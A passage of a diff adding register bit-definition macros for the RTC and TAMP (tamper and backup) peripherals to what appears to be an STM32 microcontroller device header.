RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 